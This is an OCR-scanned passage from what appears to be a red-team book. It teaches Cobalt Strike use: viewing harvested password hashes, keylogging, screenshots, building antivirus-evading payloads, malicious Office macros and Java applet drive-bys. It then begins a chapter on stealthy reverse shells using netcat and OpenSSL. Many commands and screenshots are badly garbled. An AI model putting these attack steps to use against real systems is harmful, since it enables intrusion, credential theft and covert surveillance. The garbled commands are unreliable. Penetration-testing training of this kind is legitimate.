credentials to log in, the credentials are saved and can be viewed from here:

Buent Log X | Credentals X

ser password realm nole source st
T 8620651 3a3facfB228b7dbbifB302cel PT-PC hashdump  192.168.2.14
Adminietrator 31d6cfe0d162e931b73c59d7e0c089%0  PT-PC hashdump  192.168.2.14

Guest 3106cfe0d16ae931073c507e0c0B%0  PT-PC hashdump  192.168.2.14
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Downloaded files

To view all the exfiltrated data from the target system, you can click on the button shown
in the following screenshot:

0@
Cobalt Strike  View Aftacks Reporting Help

08 (O EH=S¢ B ,H el fa B

This will show the files (exfiltration) that were downloaded from the target system:

Event og x\ Downloads X‘
host name path s dite

192.168.2.14 jusched.exe C: s PT\ Desktop) 30 0624135107
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Keystrokes

This option is generally used when you have enabled a keylogger in the beacon. The
keylogger will then log the keystrokes and send it to the beacon. To use this option, click
the button shown in the following screenshot:

e
Cobalt Strike View Attacks Reporting Help

Oa O H=¢ 5 ,AH &wh

Keystrokes

When a user logs into the system, the keylogger will log all the keystrokes of that user
(expiorer.exe 18 @ good candidate for keylogging). So, before you enable the keylogger

from the beacon, migrate or inject a new beacon into the expiorer.exe process and then

start the keylogger. Once you do this, you can see that there's a new entry in

the Keystrokes tab:
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émmdmmmx

] o i

f (A ] "
Untitted - Notepad

ellg
II "

psshard vt Yo ovr 3 e,
pasOrd 16 = pRAl3¢

ke e net to hare ths passhord vath any

The left side of the tab will show the information related to the beacon. This may
include the user, the computer name, the PID in which the keylogger is injected, and the
timestamp when the keylogger sends the saved keystrokes to the beacon. In contrast, the
right side of the tab will show you the keystrokes that were logged.
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Screenshots

To view the screenshots from the target system, click on the button shown in the
following screenshot:

| N
Cobalt Strike View Aftacks Reporting Help

O N EH=¢ B2PU SelBE fa

This will open up the tab for screenshots. Here, you will get to know what's happening
on the system's screen at that moment itself. This is quite helpful when a server
administrator is logged in to the system and works on Active Directory (AD)

and Domain Controller (DC) settings. When monitoring the screen, we can find crucial
information that can lead to DC compromise:
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Payload generation — stageless Windows
executable

The stageless Windows executable payload generation feature is available at the click
of a button. You can generate a Windows executable, and to do this you start by clicking
on the button shown in the following screenshot:

@
Cobalt Strike View Aftacks Reporting Help

O0a QO E=E¢ 5,0 EeBE fa i

Generate Windows Executable (Stageless)

Once clicked, a new window will open where you will input the details for the team
server and the payload that will be generated by it:

Cobalt Strike View Attacks Reporting Help
OR O E=¢ B8ILLU STwBEEH /o B
@ 0 Windows Executable (Stageless)

Export a stageless Beacon as a Windows executable. Use Cobalt Strike Arsenal scripts
(Help -> Arsenal) to customize this process.

Stage: _[_RethtpEBeacun_ > ]

Proxy: | H l

Output: |Windows EXE - |

%64 [ Use x64 payload

Generate || Help |
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The Stage will show the available listeners that can be used to send the second stage
payload. You need to select the listener of your choice for this. In this case, we already
have a listener set up on port 443, which has been named revattpspeacon . This listener is
a beacon payload. If you have proxy server set up with authentication already, you can
provide the details in Proxy. To do this, you need to click on the options button besides
the Proxy textbox:

Export a stageless Beacon as a Windows executable. Use Cobalt Strike Arsenal scripts (Help -> Arsenal) to customize this process.

Stage: | RevHttpsBeacon_ =
vor: | =~
Output: [Windnwg. EXE [ NN (Manual) Proxy Settings
Proxy Type: |http - |
x64: [ ] Use x64 payload
Proxy Host: [ ]
“| proxy port: | |
Username: [ ]
| Password: | ] r

["] Ignore proxy settings; use direct connection

| set || Reset || Help |

Cobalt Strike supports HTTP and SOCKS (4a) proxies. You can set up the proxy details
that the payload will use while connecting to the team server via your desired
authenticated proxy.

The output payload that will be generated through this can be in multiple formats—
PowerShell (this will create a .ps1 file with the payload in it; you need to execute this
PowerShell script with the executionpolicy bypass argument in order to get the shell), Raw
(which can be used for further FUD-ing of the payload), Windows EXE (a basic EXE
that works on both x86 and x64 Windows OS), Windows service EXE (for persistence,
the payload will be set up as a Windows service), 32-bit DLL and 64-bit DLL (DLLs
are better options when customized for bypassing AV, and they are also smaller in size;
you can generate a DLL and then inject it directly into the memory, and this would
bypass the static file AV detection/on-disk-write detection):
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000 Windows Executable (Stageless)
Export a stageless Beacon as a Windows executable. Use Cobalt Strike Arsenal scripts (Help - Arsenal) to customize this process.

Stage: |_RevHttpsBeacon_ 3

Proxy: u

Output: Windows EXE )
PowerShell

Raw

Windows EXE

Windows Service EXE

dr [Windows DLL (32-bit)

Windows DLL (64-bit)

Generate LH_&M
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Payload generation — Java signed applet

A Java signed applet attack 1s a very famous drive-by attack used by the attacker to
exploit the applets loaded on a web page. The Java applets are self-signed, and they can
be used to get permission from the visitor (victim) for execution. Click on the button
shown in the following screenshot for payload generation:

000
Cobalt Strike View Aftacks Reporting Help

OB O EH=¢ BLPU SwBERN o B b

Once the visitor allows the applet to be executed, the payload will be executed and the
beacon will be calling back to the team server.

You can also change the applet settings, including the Local URI, the Local Host, and
Local Port (you can also give the redirector's information here), and the Listener:

Technet24
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Cobalt Strike View Aftacks Reporting Help
CQE O E=¢BELPU GwBE /B
| NN | Self-signed Applet Attack

This package sets up a self-signed Java applet. This package will spawn the
specified listener if the user gives the applet permission to run.

Local URT: [,frnF’Iaﬁ,,fer

Local Host: |192.168.2.6

Local Port: |80

Listener: I_Rethtpf.Eeamn_ 2 ‘ Add |

‘ Launch H Help ‘

If you do not wish to use the listeners available in the drop-down list, you can always
add a new one by clicking the Add button:
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This package sets up a self-signed Java applet. This package *
will spawn the specified listener if the user gives the applet

Local URT: | /mPlayer 000 New Listener
Local Host: [192.168.2.6 Create a listener.
Local Port: 80
Listener: | _RevHttpsBeacon_ v ‘ Add Narme:
Payload: |windows/beacon_http/reverse_http  ~
‘ Launch H Help ‘
Host:  [192.168.2.6
Port:

3172

-

When everything is ready, you need to click the Launch button for executing the drive-by
attack. Cobalt Strike will host the applet and give you the confirmation:

& & Success

Started service: host applet
Copy and paste this URL to access it

A lot of pentesters use this social engineering technique to get access to the target
system by using an applet signed with a self-signed code signing certificate. However,

this does not work with most of the browsers now as they have policies in place to

prevent it. Starting with Java version 1.7 (update 51), the self-signed Java applet will
not run by default. A better option would be either to use a valid certificate or to go for

macros.

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir



https://technet24.ir
https://technet24.ir

Payload generation — MS Office macros

Payload execution via Office macros is the new black. If you have heard about the
uproar of ransomware, then you must know about macros as well. For the past few
years, macros have been used to execute the payload embedded in it. However, for a
successful execution, the victim needs to be convinced to click on Enable Content in the
malicious document. To start generating macros-enabled payload embedded in the
document, click the button shown in the following screenshot:

| NN
Cobalt Strike View Attacks Reporting Help

O O HS¢ BEAPHL EwlBED Pda B

MS Office Macro Attack

At this point, you will get a listener window where you will have to select the listener
to use once the payload is executed over the target system. Of course, you also have the
option to add a new listener if you desire to do so:
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Cobalt Strike View Attacks Reporting Help

DR OEH=¢8I/UGeB] Pl

| JON | MS Office Macro

This package generates a VBA macro that you may embed into a Microsoft Word or
Excel document. This attack works in xB6 and x64 Office on Windows.

Listener: |_RethtpSEeacnn_ E ‘ | ﬂ ‘

| Generate || Help ‘

Once you generate the macros for the given listener, you will get an instruction window
that you can follow in order to embed the macros in a document:

7] & Macro Instructions

Follow these steps to add this Macro to a Microsoft Word or Excel document:

Open Microsoft Word or Excel

Go to View -> Macros -> View Macros

Change Macros in to the current file

Give your macro a name (any name is OK)

Click Create

Clear the editor

Press Copy Macro to copy the macro to your clipboard.
Paste the macro

Close the macro editor window

Save the document as a macro-enabled document

oLl A o

=

Copy Macro
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This document can be saved as a macro-enabled document (.docn) or a word 97-2003
document (. doc).

The document can be then delivered to the victim via any method, and once the victim
opens up the document and enables the content, the macros will be executed and the
beacon will call back to home (team server).

Technet24
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Scripted web delivery

This technique is used to deliver the payload via the web. To continue, click on the
button shown in the following screenshot:

‘o0 @
Cobalt Strike View Attacks Reporting Help

OB O E=S¢ B,PL w0 fa i

Setup Scripted Web-Delivery

A scripted web delivery will deliver the payload to the target system when the
generated command/script is executed on the system. A new window will open where
you can select the type of script/command that will be used for payload delivery. Here,
you also have the option to add the listener accordingly:

Cobalt Strike View Attacks Reporting Help

O (W EH=¢ BELU wBEH fa B

L N

This attack hosts an artifact that delivers a Cobalt Strike payload. The provided
one-liner will allow you to quickly get a session on a target host.

Scripted Web Delivery

URI Path: |/a |

Local Host: |192.168.2.6 |

Local Port: |80 ]

Listener: _I_RethtpSEeacun_ 'H Add l

Type: Epuwerﬁhell hd |



https://technet24.ir
https://technet24.ir

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

File hosting

Files that you want to host on a web server can also be hosted through the Cobalt Strike
team server. To host a file through the team server, click on the button shown in the
following screenshot:

| NN
Cobalt Strike View Attacks Reporting Help

0B O E=¢ BEPL ekl el

Host a file

This will bring up the window where you can set the URI, the file you want to host, the
web server's IP address and port, and the MIME type. Once done, you can download the
same file from the Cobalt Strike team server's web server. You can also provide the IP
and port information of your favorite web redirector. This method is generally used for
payload delivery:
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Cobalt Strike View Attacks Reporting Help
00 O EH=¢ B LPU GwBEE /o B G

| NN Host File
Host a file through Cobalt Strike's web server

File: [

Local URT:  |/download)file.ext

Local Host: |192.168.2.6

Local Port: |80

Mime Type: |=a utomatic
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Managing the web server

The web server running on the team server, which is generally used for file hosting and
beacons, can be managed as well. To manage the web server, click on the button shown
in the following screenshot:

‘o0 @
Cobalt Strike View Aftacks Reporting Help

08 O EH=S¢ B PL fwlBEDfa I

Manage Web Server

This will open the Sites tab where you can find all web services, the beacons, and the
jobs assigned to those running beacons. You can manage the jobs here:

Fetlog X | St X

W [ it T st

Bescon 4o ol BeBcn beacon hende

Sage 4 B Deaconsager 6

Sager 4 beacon béaconsager 4

beacon e post W b beaconpost end

f 19216826 o080 page Scpted Web Delvery (powershl
| e
|-t
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Server switchbar

The Cobalt Strike client can connect to multiple team servers at the same time and you
can manage all the existing connections through the server switchbar. The switchbar
allows you to switch between the server instances:

Event Log X

86/19 23:17:47 harry
06/22 13:39:47 himanshu

[86/22 13:48] himanshu
E

| harry@192.168.2.6 | himanshu@192.168.2.6|

You can also rename the instances according to the role of the server. To do this, simply
right-click on the Instance tab and you'll get two options: Rename and Disconnect:

Technet24
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06/19 23:17:47 harry
06/22 13:39:47 himanshu

[86/22 13:48] himanshu_

| harry@192.168.2.6 | himansh{ Disconnect a

You need to click on the Rename button to rename the instance of your choice. Once you
click this button, you'll be prompted for the new name that you want to give to your
instance:

06/19 23:17:47 harry
06/22 13:39:47 g Input

Fename to?

thimanshu@192.168.2.6

o [rcence

[06/22 13:49] himanshy
levent- |

| harry@192.168.2.6 | himanshu@192.168.2.6

For now, we have changed this t0 rspionageserver:
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66/19 23:17:47 harry

06/22 13:39:47 himanshu

[86/22 13:58] himanshu
B

Renaming the switchbar helps a lot when it comes to managing multiple sessions from
multiple team servers at the same time.

Technet24
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Customizing the team server

The team server is just a bash script that executes the covaitstrixe.jar file for starting the
server. By default, the Armitage team server runs on port ssss3/tcp and the Cobalt Strike
team server runs on port sooso/tcp (both use SSL for communication initiation). Being the
default port, it's easy for someone else to find your team server on the internet and try to
connect to it in order to get access to your compromised hosts. Consequently, to protect
your team server from attacks, you need to think of a few ways to protect it from other
attackers. These may include the following;

e Use a strong password for team server authentication [EASY]]

e Whitelist your IP from the team server firewall and deny all other IPs (this could
be messy if your IP is dynamic) [MEDIUM]

e Block the ss553/tcp port from the firewall on the team server and tunnel this port to
your system (reverse SSH tunnel) [HARD)]

e Customize the team server and change the port [EASY]]

To customize the script, first you need to look for the teanserver file in your copaitstrike
directory. You can do this by executing 1s -ain:
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o(xZombi3xxx: cobaltstrike Harry§ 1s -alh
total 42184

0 13 Harry 4168 Jul 18 11:33

t 499 harry 16K Jul 16 06:88
-rW-r--r--1Aarry LAK Jun 11 17:43 .cobaltstrike. beacon keys
-rwxr-xr-x@ 1 Rarry LJ6B May 23 2017 agscript
-TWXr-xr-x@ 1 oHarry 1448 May 23 2017 c2lint
-TWXr-Xr-x@ 1 oHarry 936 May 23 2017 cobaltstrike
-rWXr-xr-x@ 1 oHarry 2N Apr 13 08:42 cobaltstrike.jar
i R 23K May 28 19:14 cobaltstrike.store
drwxr-xr-x 8 root 2568 Jun 24 13:37 data
drwxr-xr-x 3 root 9B Jun 24 1350 downloads
drwxr-xr-x 15 root 4808 Jul 10 11:40 logs

-ruxr-xr-x@ 1 Rarry 8K Jul 18 11:54 teamserver
drwxr-xr-x@ 5 Harry staff 1686 Sep 7 2017 third-party
ocZombidxk cobaltstrike Harryd I

Next, open the file with an editor of your choice. This may include nano, pico, vim, vi,
leafpad, or gedit, but I prefer to use nano:

nano teamserver

¥XxZombi3xXx: cobaltstrike Harryd
¥XxZombi3xXx: cobaltstrike Harryd
xXxZombi3xXx:cobaltstrike Harry$ nano teamserwver

Once this has opened, go to the end of the file and look for the line xeytoo1 -kxeystore
./covaltstrike.store. ThiS line generates an X509 certificate for SSL use:
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5 SLeD WIA Your own permangnt. certiricate
#1050 make Slre Vol pass -D1avar net ssLkevatore="/path/tormatever” and
b -D)avan net. ssl. keyotorerassuorc="password’ 1o |ava. 1 1 Used Tor setting Uy

b an AL server socket, Also, the M-l dfgest of the Hrst certificate in the stor

You should now change the SSL certificate information. By default, Cobalt Strike
generates the SSL certificate with CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike,

L-Somewhere, S=Cyberspace, c=Earth @S the SSL information, but you can change this to your
liking:
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¥ generate a certiricate
# naturally you're welcome 1o replace this step WIth your own permanent certificate,
lake SUTE YOU pdas ‘-::E'--";:fﬂ..'It;‘:‘..:.".....' evatore="/path/to/whatever" and
# -l7avax. net "..:-l.\-li-;x':'tl:rl::" orgpssiord' ¢ 0 java. Ihis 18 Us ll 6LiTng up
#an 5L server socket, Also, the '!1-j+"":f of the T'1|'7.T certificate ir ‘.}. store
#15 printed 5o users nay have 3 chance to verify they're not being ouned.
i i .l’.,,.-_,:hr.}l,g ot -:

print_info "Will use existing X509 certificate and keystore (for 55L)

¢lse

I it info “Gene ;t."n;; N =::E"'T.T jte and keystore (for :E*%L:I”
inane "CeNa)o II 03LL strike, QU=AdvancedPenfesting, OFeot = mennere, JLyberspace, (=earth
i

For now, we have changed this to cx-gvi1 corp, ou-17, 0=ECorp, 1-Atlanta, S=xxx, C-Mars:

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

# generate a certificate

# naturally you're welcome to replace this step with your own permanent certificate.
# ust make sure you pass -Djavax.net,ssl.keystore="/path/to/whatever" and
B -01qvax. net. 551 keystorePassiord ”password” 0 ]ava This 15 used for setting up
#an 5oL server socket, Also, the SHA-L digest of the first certificate in the store
B 15 printed 50 Users may have 3 chance t0 Veri y ney're not being owned

1f [ -¢./cobaltstrike, store | then
print info "Will use existing X389 certificate and keystore (for 53L)'

elge
print info "Generating K309 certificate and keystore (for S3)"

dname "CN=Evil Corp, OU=IT, O=ECorp, L=Atlanta, S=xxx, C=f arsl

fi

You now need to look for the last line, which is java -xx:paraiieicerhreads=4, and you
should also look for the value for -pcobaitstrike.server port. Change this to the port you
want to access the team server at:

# start the team server,
Java -Kk: Parallel6CThreads=4 -Dcobaltstrike. server port=30B30 -Djavax.net.ssl.keyStore= /cobalts

As you can see, we have changed this to port 31337 and saved the team server file:

# start the team server.
1ava -XX: ParallelCThreads=4 -Dcobaltstrike. server port=31337 -Djavax.net.ssl. keyStore=./

Using the quick cax command, you can confirm your changes in the team server script:
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ombi3xXx:cobaltstrike Harry$ cat teamserwver
‘bin/bast

Start Cobalt Strike

# make pretty looking messages (Lhanks
function print . 1
echo -e "\x1B[@1;32m vxi1BE[Bm $1“

As you can see in the following screenshot, the changes are confirmed and saved
properly in the team server script. Now our team server is ready to roll!
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# aanerate 3 cortificate
B naturally you're elcome to replace this step with your own permanent certificate
B 10T Mare SUre Vo pass -UTavar net SsL kevatore="/patn tonmatever” and
(OLOTEaSWOTE="nassword [0 |3va. 15 15 seq for setting I

i + ’ { Aa $oth 1 ppt bebeamd Tl ; .
0 The onA-1 d19est o7 the TIrsT certimicate 1n the store

[ 80 87 Mmay have 3 chance o Vertty they're ot LI; e
b)) the

FInt 1n10 "W1LL Use existing A58 certiticate and keystore (for 3)L)

Run the team server using suac along with the IP and password required for
authentication:
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(ot 3k, cobaltstrike Harryd sudo /beanservar 192, 168.0,6 1345
35sHOrg:
i1 use existing Xob9 certiticate and keystore (for L)
[$] hided EICAR alle :_\._i..l.et...h profile. [This 15 a trial version limitation]
TH /i1 o 15 p on 3133
15, affbiced2af17554bdaadasalc fhid28en2856. 4n2lefeddoe foeld2clos
15 or responses! (This 15 @ trial version Limitation]

[!] WeD Strver w H uwl l -;E;mem wu fon't v || this)
s¢ 3 valid oal certificate with Cobalt Strike: nttps: /i wlw trike, con/helo-nal leable-clmvalidss
:::'n;;-;. [T 1§15 3 Hal version limita wn]
[Tln's 19 : trial version 'mi ! 10n]

arted!

In our previous connection profile, we were connecting to port sooso to access the team
server, but now we need to use the port that we changed:

Connect

This is the connect dialog. You should use it to connect to a Cobalt Strike (Aggressor)
team server.

Host:  |192.168.0.6

Port:

User: 'harr*,f

Password: EEEEE

Technet24
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Here, mentioning port 31337 1s enough to log in to the team server:

Connect

This is the connect dialog. You should use it to connect to a Cobalt Strike (Aggressor)
team server.

Host: 192.168.0.6

Port: (3133

User: harry

Password: |****+

| Connect || Help |

You will be logged in and the Cobalt Strike interface will be displayed:
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[ Cobalt Strke (Tl

Cohat e Vew ac Rty Hop
BROEZ¢EYAUGRRE Fa b
eene eme 51 (ompue e o

(01710 12:19] harry [Lag: 0]

tnt>
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Summary

This chapter started by exploring the red-team exercise as well as the concept of the
cyber kill chain, which can be used for an attack plan. We then introduced the tool that is
used for red-team operations, Cobalt Strike. Here, we also covered team servers, the
Cobalt Strike installation and setup, and finally, the Cobalt Strike interface. At the end
of this chapter, we customized the team server script by accessing it on a different port.

In the next chapter, you will read about reverse shell connections and how you can get
them from the compromised server in a secure way so that the connection is not
detected.
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Questions

1. Is it absolutely necessary to plan the attack? Why not just hack it like we do
normally?

2. Is Cobalt Strike free?

3. Can we run multiple team servers on the same instance?

4. My team server's fingerprint is different than the one I'm seeing on the display.
What could be the reason for this?

5. Does Cobalt Strike require the Metasploit framework?

6. How can we use Cobalt Strike to exploit a system and get access to it?

7. What else can we customize in the team server script?

Technet24
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

¢ Red Team Operations: Determining a Plan of Attack: nttps://ww. fireeye.com/blog/
products-and-services/2016/08/red_team operations.html

e Red-team tools: nttp://psos-security.com/red-teaming-a-tool-for-continuous-improvement/

e Anatomy of a well-run red-team exercise: nctps://www.csoonline.com/article/3250249/n
etwork-security/anatomy-of-a-well-run-red-team-exercise.html

o redteam-plan: nttps://githuo.com/magoo/redteam-plan

o CobaltStrike: nttps://www.cobaltstrike.com/
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JReverseShell

In this chapter, we will focus on getting a reverse connection from an exploited system.
We will also cover different methods for getting a secure reverse connection, explaining
the difference between a non-encrypted and encrypted channel by showing the noise
level it creates in the network using «cpaump for packet-level analysis.

When penetration testing, it is common to encounter the issue of getting a shell. In this
case, individuals either upload a web shell on the target site and interact with the server
or they execute a command to get the reverse connection. In both cases, if the scope of
testing includes internal network recon, then reverse shell connection is a must.

For beginners, getting a reverse shell is very interesting. However, many of them don't
realize how careless it is to move forward with this without gaining the proper
knowledge first. This carelessness could cause their web shell to be deleted from the
server, or worse, the vulnerability that let them upload the web shell onto the server
could get patched. This is what differentiates a red-team engagement from penetration
testing. Unless you're able to answer all of the following questions with a yes, proceed
with caution:

e Are you getting the reverse shell on common ports (so, 443, 53) or have you used any
uncommon ports (2444, 1337, 31337, and so on) for the connection?

e Does your reverse shell communicate over an encrypted channel?

e Did you generate your reverse shell payload from a publically known tool, such as
Metasploit Framework or Empire? If you did, have you used any obfuscation or
encoding on the payload?

In a red-team engagement, the objective is to get a stealthy reverse shell connection so
that the defenders of the organization can't detect our presence in the network. Before
using a weapon, always make sure that you understand the weapon first; that is, you
need to understand what exactly a reverse connection and a reverse shell connection is.

In this chapter, we will cover the following topics:

e Introduction to reverse connections
e Introduction to reverse shell connections
e Plain versus encrypted reverse shells (netcat/powercat/ncat/socat/cryptcat)
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* reverse tcp VECI'SUS reverse https

reverse https With custom SSL certificate
meterpreter OVECI ngrok

Quick cheat sheet for reverse shells
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Technical requirement

e Metasploit Framework

® netcat, socat, cryptcat, powercat

® ngrok

Technet24
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Introduction to reverse connections

When the user connects to a server, the user binds its socket with the server's port. This
is called a bind connection. Bind connections are only possible if incoming connections
are allowed by the firewall. In a situation in which incoming connections are restricted,
a user can ask the server to connect back. Firewalls generally restrict incoming
connections but don't restrict outgoing connections. When the server makes an outgoing
connection to the user, this is called a reverse connection.
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Unencrypted reverse connections using
netcat

Reverse connections can be initiated over an unencrypted channel or an encrypted one.
To understand reverse connections, let's use a tool called netcat.

We started the listener on port soso and checked whether or not the port was in the 11srex
state by using the following command:

nc -1lv 8080
netstat -an | grep 8080

xXxZomb13xkx:~ Harry$ nc -b end -1y 8080

e / Harry — -bash — 80x24

xXZomb13xkx:~ Harryd netstat -an | grep 8080
tepd 0 0 *.8080 iy LISTEN
xXxZombidxkx:~ Harry$

The -» option is intended for the interface to listen on. This option is only available on a
few versions of netcat.

Let's start tcpaump ON port soso. tepaump Will help us analyze network packets on the wire.
To start tcpaump, Tun the following command:

sudo tcpdump -XX -i lo0 port 8080
(-1 is used to capture packets on localhost interface)

Technet24
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e Harry — tepdump « sudo — 80x24

xkxZomb13xXx:~ Harry$ sudo tepdump -XX -1 1o port 8080
tcpdump: verbose output suppressed, use -v or -wv for full protocol decode

[1stentng on 1od, link-type NULL (BSD loopback), capture size 262144 bytes

Now let's wait for the client to connect to Our netcat Server:
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(ReZonbt3ek:~ HarmyS nc - end -1y 8080

]

(keZond13ek: HormyS nc 192.168,2.6 8080 -v
found @ assoctations
found 1 connections:
1: lags=82COMNECTED, PREFERRED:
outf Lo
s 192,168,2.6 port 5337
dst 192.168.2.6 port 8080
rank info not available
TP aux nfo votlable

ol Harry — tepdump « Sudo — 7624
4 packets captured
5 packets recetved by filter
0 packets dropped by hernel
(heZonbi3ek: HarmyS
(ReZonbt3ek: HarryS sudo tcpdump -AX -1 Lod port 8080
tepdum: verbose output suppressed, use - or - for full protocol decode
Listening on Lod, Tink-type BULL (BSD loophack), capture size 262144 bytes
20:08:36.310766 TP 192.168.2,6,5%376 > 192.168.2.6.http-alt: Flags [SER], se
0 3698410560, win 65535, options [nss 16344, nap,scale 5,nop,nop, TS val 5208
%0724 ecr 0, sackOK, eol], Tength @
OxpA0: 0200 0000 4500 0040 0000 4000 4006 0080 ...F..B. BE,.,
DxBR10: Db 0206 cOug 6206 080 1199 efSd 0640 ............. 1.8
OxBA20: 0000 0000 b0c FrFF 856 000R 0204 3fdd
OxpA30: 0103 0305 0101 080 Lf0c 2964 0066 0000 ......... Jiise
OxdRdd: 0407 000 i
10:08:36. 310906 TP 192.168.2.6.http-alt » 192.168.2.6.53376: Flags [S.E], se
2035537612, ack 3898410561, win 63535, aptions [nss 16344, nop,kscale 5,nap
Jnop, TS val SO0899724 ecr 20890724, sack(K eal], [ength 0
OxB000: 0200 0000 4500 0040 000 4000 4006 0060 ...E..B. B.E,.,
00010 Db 0206 cOub 0206 110 08D 7953 06CC vvuvanns 5.,
OdDA20: e85 0641 b652 FFFF 856 0000 204 e .].AR
0 0103 0305 0101 0800 1f0c 2964 Lfdc 2964 ........., Jd..)d
Oxdi4d: 0402 0000 e
20:08:36. 310932 TP 192.168.2,6,5%376 » 192.168.2.6.http-alt: Flags [ ], ack

(onnection to 192.168.2.6 port 8080 [tep/http-alt] stcceeded!
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Now that the connection has been established, let's try sending some sensitive
information. In this case, I'm sending the passcode rxs12 t0 nimanshu:
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Due to the unencrypted nature of this connection, tcpaunp Was able to sniff the passcode
easily. Can we send this critical information over an encrypted channel? Yes, we can!


https://technet24.ir
https://technet24.ir

Encrypted reverse connections using
OpenSSL

To encrypt our communication, we will use SSL here. To do that, we first need to
generate an SSL certificate. We can generate a custom SSL certificate using the
following command:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
req -x509 - requests from openssl to generate X.509 certificate

-newkey rsa:4096 - generate new keys with size 4096 using RSA

-keyout key.pem - saves the keys in key.pem file

-out cert.pem - saves the certificate in cert.pem file

-days 365 - certificate valid for 365 days

Technet24
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' ety —-bash - 12530

w%mmlq 0 -nenkey r0:409% -Keyout Key,pen -0ut cert, pen -doys 365
1t R private ey

vate ey o "Key.pen

You are dhout to be asked to enter wnfommetion that will be wnconporated
it your certificate requet,
hwmmMﬁoMrsmlumm Distinguished Hame or a DK,
05 but you con-Leave Sone blank

be 0 default value,

I
If youenter "', the field will be left blonk

:
There are quite o oy fiel
For sone fields there will

l

ountry N (2 Letter code) [
MM rovince Nae (full nane) []:K¥
m(,Mﬁﬂm

¢ww"1wWﬁm l
o idekcs farmyd
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The noses command is not nodes; it's no DES. This refers to the fact that the private key
will not be encrypted and saved in the excs#12 file. Without this option, the private key
will be encrypted with 3DES-CBC.

Now that the certificate has been generated, let's start our server to listen for incoming
connections on port soso. This can be achieved using the following command:

|openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

000 Harry —openssl s server -qulet -key key.pem -cert cert.pem -part B0B0 — 125x3(0
ke Zon13¢kx;~ Harry$ openssl s_Server -quiet -key key.pen -cert cert.pem -port 8080

The following commands are defined as follows:

s server: This starts a generic SSL/TLS server which accepts incoming connections
-quiet: NO server output

-xey: Private key generated

—cert: X.509 certificate

-port: Listening for SSL connections on port soso

Let's try to connect the client with the server and send the passcode. The client can
connect with the openss1 server using the following command:

| openssl s _client -quiet -connect <IP>:<port>

Technet24
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iATonni3ek: HarryS apenss s _Server -quiet
bad gethosthyaddr

Today's code 15

Kedonon3

mmme
§

pi3ekx: HarmyS sudo topd
) tput stppresse
ning on od, Link-type ML
) 192,
! Mk

f § sul top
t DUt Suppre
Listening 0 nk-type NOLL (BSD Lopbo
! mw19 L0524 > 19
3115965, win

!
i
t
}
34
!

S
15tenin |
0:30:53.9136% IP %
SUB131316 15
50202 eer N3 L
@x@@@@ i) @@
fa0: o
0]
If
)
i

I

B0020:
Bi0030:
BD:
B00: 8
Bude: 4%
Di0070: 946
B0l %
00 I
B, win 12741, optio
40000 MM@
B0l o 4
Bi0020: 1e%4 3
0i000: 126

!
!
!
| f
j )
! )
) !
| )
)

0
0
b
0
0
!
d
b
£

b
d
b
b
!
!
(
d
d
I

3
§

+ EY812. Please nake a note of 1t Bimanshu

v HarryS sudo-tepdump -K¥ -1 Lod port 680
I wrwwmﬂm
I

H%MMWM%

000 4000 400 0000 ....F.....0..,

-Key hey.pen -cert cert.pen -port 080

(] | Harry —openssl s client -guiet -comnect 162.168.2.6 - 65424
kcContu3akess Horyd openssl s_client -quiet -comect 192.168.2,
b 8080

depthed (= 8K ST= KK L= 06 0= 06 00 = X6 O = ki, enatld
ddress = KKBRK, K4

Vertfy errorme18:self signed certifioate

Vertfy retum:1

depthed = 8 ST = 08 L= 6 0= 06 00 = XK O = X, eomlA
ddress = KBRK, K4

Vertfy retum:1

tocol decod
Ck), capture size 262144 bytes

lags [P.], seg
12688, aptions [nap,n

Todoy"s code 15 + EXBL2. Please make  mote of 1t imanshy

BAFD 134 307 oo A
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As we can see in the tcpaunp Terminal, the passcode sent over the wire is now encrypted.
This can be used to get an encrypted reverse shell. But before that, we should
understand the concept of reverse shell connections.

Technet24
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Introduction to reverse shell connections

A reverse shell 1s a type of shell in which the target server connects back to the attacker
machine. For example, an attacker finds a target server with port 21/tcp, s0/tcp and 443/tcp
in oeen state and the FTP service running on port 21/tcp 1s vulnerable. Let's say an
attacker exploits this port in order to open another port 1337/tcp on the target server for
shell connection, as shown in the following diagram:

sl TARGET SERVER
G
A Roel S
MACHINE | | i
= Connects to port 21/tcp for service Allow port 21, 80,
axploitation 443 from anywhere
. | iy Block every other
Attacker exploits FTP service to apen port 1337/tcp :
on target server for shell connection LA/
60/tcp
e
1337 /tep

Credit goes to https://creately.com/ for network architectural diagrams

The problem arises when the attacker tries to connect to the target server on port
1337/tcp. The attacker is not able to connect to port 1337/tcp. Why? Because the firewall
blocked that port. The firewall can only allow port 21/tcp, s0/tcp and aa3/ccp for incoming
connections and it will block all other ports, as shown in the following diagram:
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ATTACKER

x TARGET SERVER
MACHINE P
mm  Comnectiontoport 1337 /tepis Al port 21, B0,
BLOCKED by the 443 from anywhere
X+
Block every other
Connects to port 1337/4cp for shell port 2/tep
connection 60/tcp
3 ftep
1337/tep

This is a typical case scenario of a failed attempt at a bind shell connection. In this
situation, the attacker needs to understand the firewall rules and find a workaround to
get the shell connection. So, what if the attacker uses a port allowed from the firewall?
If the attacker uses any one of the available ports, 21/tcp, 80/tcp OF 443/tcp, Will 1t be
possible to get a shell connection? Let's say the attacker exploits the FTP service to
open port so/tcp; Will that work? The answer here is no. This won't work because the

allowed ports from the firewall are already in use by the target server and if the attacker

tries to use port so/tcp, a port already in use error will be thrown, as seen in the
following diagram:

Technet24
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ATTACKER

TARGET SERVER
e Allow port 21, 80 =
= ---uwnH
0 I o i 443 from anywhere
; i S
- 4 B =l i
= mll R il
Block every other
Exploits FTP senlwice and tries to port 2ltp
open port 80/tp for she 30/tcp (port aready n use
connection Mt

A solution to this problem is to let the target server connect back to you instead. If the
attacker cannot open port 21/tcp, 80/tcp, OF 423/tcp ON the target server, they can open the
same port on their machine instead. This way, the target server can connect back to the
attacker machine on port 21/tcp, 80/tcp, O 423/tcp, Which the firewall already allows:

ATTACKER
MAcHNE  comingcomnection fomtarget — Alow port 21,80, TARGET SERVER
serveron port 80/tep for hel 43 rom anywhere R itedeected el
= s M e T2 Target server connects back to
,( it oot atacker machine on port 80/
. ol i
I.-.-.I Cutgoing comectiont port B/
Block every other ENOTBLOCKED
